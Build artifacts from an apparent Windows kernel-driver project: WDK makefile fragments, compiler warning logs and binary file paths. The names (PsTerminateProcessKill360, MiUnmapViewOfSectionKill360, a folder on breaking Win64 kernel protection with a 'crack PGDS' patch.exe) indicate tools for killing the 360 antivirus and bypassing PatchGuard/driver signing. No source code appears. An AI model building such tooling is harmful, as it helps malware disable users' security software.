BASEDIR=c:\winddk\7600.16385.1

OBJECT_ROOT=c:\winddk\7600.16385.1

MAKEDIR_LOWERCASE=d:\OBJ_PATH=d:\CONCURRENT_MIDL=0

CONCURRENT_MANIFEST_BUILD=0








Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/objchk_win7_x86/i386/_objects.mac





386_OBJECTS=\

 $(OBJ_PATH)\$O\miunmapviewofsectionkill360.obj \











# lowercased

BASEDIR=c:\winddk\7600.16385.1

OBJECT_ROOT=c:\winddk\7600.16385.1

MAKEDIR_LOWERCASE=d:\OBJ_PATH=d:\CONCURRENT_MIDL=0

CONCURRENT_MANIFEST_BUILD=0








Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/objchk_win7_amd64/amd64/_objects.mac





AMD64_OBJECTS=\

 $(OBJ_PATH)\$O\psterminateprocesskill360.obj \











# lowercased

BASEDIR=c:\winddk\7600.16385.1

OBJECT_ROOT=c:\winddk\7600.16385.1

MAKEDIR_LOWERCASE=c:\OBJ_PATH=c:\CONCURRENT_MIDL=0

CONCURRENT_MANIFEST_BUILD=0








Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/buildchk_win7_amd64.wrn

1>warnings in directory c:\新建文件夹\psterminateprocesskill360\psterminateprocesskill360

1>c:\新建文件夹\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(44) : warning C4047: 'function' : 'const char *' differs in levels of indirection from '1>c:\新建文件夹\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(44) : warning C4024: 'strstr' : different types for formal and actual paramete1>c:\新建文件夹\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(47) : warning C4242: '=' : conversion from 'ULONG64' to 'int', possible loss of d1>c:\新建文件夹\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(51) : warning C4047: '=' : 'PEPROCESS' differs in levels of indirection from 'ULONG






Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/buildchk_win7_x86.wrn

1>warnings in directory d:\Ч§ЖЏБрвы\psterminateprocesskill360\psterminateprocesskill360

1>d:\Ч§ЖЏБрвы\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(44) : warning C4047: 'function' : 'const char *' differs in levels of indirection from '1>d:\Ч§ЖЏБрвы\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(44) : warning C4024: 'strstr' : different types for formal and actual parameter1>d:\Ч§ЖЏБрвы\psterminateprocesskill360\psterminateprocesskill360\psterminateprocesskill360.c(51) : warning C4047: '=' : 'PEPROCESS' differs in levels of indirection from 'ULON






Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/buildchk_win7_x86.wrn

1>warnings in directory d:\Ч§ЖЏБрвы\miunmapviewofsectionkill360\miunmapviewofsectionkill360

1>d:\Ч§ЖЏБрвы\miunmapviewofsectionkill360\miunmapviewofsectionkill360\miunmapviewofsectionkill360.c(42) : warning C4047: 'function' : 'const char *' differs in levels of indirection from '1>d:\Ч§ЖЏБрвы\miunmapviewofsectionkill360\miunmapviewofsectionkill360\miunmapviewofsectionkill360.c(42) : warning C4024: 'strstr' : different types for formal and actual parameter1>d:\Ч§ЖЏБрвы\miunmapviewofsectionkill360\miunmapviewofsectionkill360\miunmapviewofsectionkill360.c(49) : warning C4047: '=' : 'PEPROCESS' differs in levels of indirection from 'ULON






Windows7 x64/编程实现突破Win64内核保护机制/src/破解PGDS/patch.exe





Windows7 x64/关闭360窗口（以管理员身份）.exe





Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/objchk_win7_x86/i386/MiUnmapViewOfSectionKill360.sys





Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/objchk_win7_amd64/amd64/PsTerminateProcessKill360.sys





Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/objchk_win7_x86/i386/PsTerminateProcessKill360.sys





